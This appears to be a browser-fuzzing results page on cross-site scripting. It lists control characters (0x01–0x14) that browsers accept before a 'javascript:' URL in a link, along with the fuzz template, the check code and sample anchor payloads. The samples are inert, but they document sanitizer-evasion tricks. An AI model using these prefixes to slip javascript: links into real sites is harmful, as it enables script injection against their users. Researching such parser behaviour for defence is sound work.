Characters that can precede the javascript protocol copy

⚠ Browser differences

Characters that can precede the javascript protocol in html

Created byrcbarnett

Created May 2, 2024

Updated May 28, 2025

Detecting browser...

CategoryURL Handling

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<a href="$[chr]javascript:test.com/" id="test"></a>

Code used after fuzz:

if(document.getElementById("test").protocol=="javascript:"){log($[i])}

Sample payloads

<a href="0x01javascript:test.com/" id="test"></a>

<a href="0x02javascript:test.com/" id="test"></a>

<a href="0x03javascript:test.com/" id="test"></a>

<a href="0x04javascript:test.com/" id="test"></a>

<a href="0x05javascript:test.com/" id="test"></a>

<a href="0x06javascript:test.com/" id="test"></a>

<a href="0x07javascript:test.com/" id="test"></a>

<a href="0x08javascript:test.com/" id="test"></a>

<a href="0x09javascript:test.com/" id="test"></a>

<a href="
javascript:test.com/" id="test"></a>

<a href="0x0Bjavascript:test.com/" id="test"></a>

<a href="0x0Cjavascript:test.com/" id="test"></a>

<a href="0x0Djavascript:test.com/" id="test"></a>

<a href="0x0Ejavascript:test.com/" id="test"></a>

<a href="0x0Fjavascript:test.com/" id="test"></a>

<a href="0x10javascript:test.com/" id="test"></a>

<a href="0x11javascript:test.com/" id="test"></a>

<a href="0x12javascript:test.com/" id="test"></a>

<a href="0x13javascript:test.com/" id="test"></a>

<a href="0x14javascript:test.com/" id="test"></a>